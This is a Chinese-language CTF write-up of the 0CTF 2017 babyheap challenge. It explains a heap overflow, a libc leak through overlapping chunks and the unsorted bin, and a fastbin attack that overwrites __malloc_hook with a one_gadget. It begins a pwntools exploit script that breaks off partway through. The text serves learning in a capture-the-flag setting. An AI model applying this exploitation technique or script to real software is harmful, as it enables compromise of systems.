因为最近2019届0ctf-tctf开始了,想去水一水,特别把2018的babyheap和2017的babyheap做了一下汲取一下经验,感觉两题类型相似,大致思路相同,2018比2017的利用条件更加苛刻一些。所以把两个题目放在一起来写,有助于加深对fastbin_attack的理解,和提高知识运用的灵活性。
首先提供两道题目的二进制文件:2017_0ctf_babyheap 2018_0ctf_babyheap
先来看2017的题目:
预览:
可以看到文件为64位,保护全开,给了Libc,标准的堆题。。。看到full relro一般为改hook为one_gadget。放进ida里进一步分析:
主要功能分析及漏洞寻找:
可以看到程序开始时先选了一段随机不可控的地址来储存heap列表的基地址(base_ptr)。紧接着就进入了死循环,打印菜单,输入选项,运行函数。逐个分析功能:
allocate()功能中,我们发现heap的content大小由我们自己决定(小于0x1000),是可控的,且heap结构体中会储存heap内容的大小。此外,我们申请堆块时用的是 calloc() 这意味着堆块的数据开始时要被初始化为0,这一点需要注意
fill()函数就是向我们申请过的chunk里填数据,不过有一个很明显的任意溢出更改漏洞。
free()就是将chunk指针free(),没有uaf漏洞。
print()函数就是打印对应下标的chunk的content,不过打印的内容是根据我们在allocate()时输入的size来决定的。
思考如何利用漏洞:
首先我们的最终目标定为:将malloc_hook改为one_gadget,现阶段,我们只能借助于程序自身的fill()功能来进行写,而fill()功能又需要一个堆指针,所以我们的目标转化为如何使堆指针分配到malloc_hook附近,我们运用fastbin功能与overlapping结合的方法来实现。
leak:
因为我们要确定malloc_hook的地址与one_gadget的地址,所以必须泄露出libc。
- 泄露功能,我们可以利用程序的print()功能来实现,先申请4个chunk(chunk2大小为smallchunk),然后通过0来改写1的size,然后通过标准的overlapping方法,先free()再malloc(),然后chunk2现在在1的里面,(这里要注意,因为是calloc,所以再次申请chunk1的时候,chunk2的chunk_header会被清零,需要fill()重新布置一下),然后free chunk2,将其放入unsortedbin中,然后通过chunk1的print()打印出chunk2的fd指针,成功泄露libc。(这一部分不理解的可以看我文末的心得,有我第一次做的时候查的资料,帮助理解。)
change:
之后我们就可以先把chunk2(大小我们申请为0x60)放进fastbin里,然后通过chunk1改其fd指针为&main_arena-0x33,然后在申请两次即可,然后再通过改chunk4的内容来改malloc_hook,再申请则会触发one_gadget。
exp如下:
#coding:utf-8
from pwn import *
context(os='linux',arch='amd64')
#context.log_level='debug'
p=process('./babyheap')
libc=ELF('./libc.so.6')
def allocate(length):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(length))
def fill(ID,length,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(ID))
p.recvuntil('Size: ')
p.sendline(str(length))
p.recvuntil('Content: ')
p.send(payload)
def free(ID):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(ID))
def dump(ID):
p.recvuntil('Command: ')
p.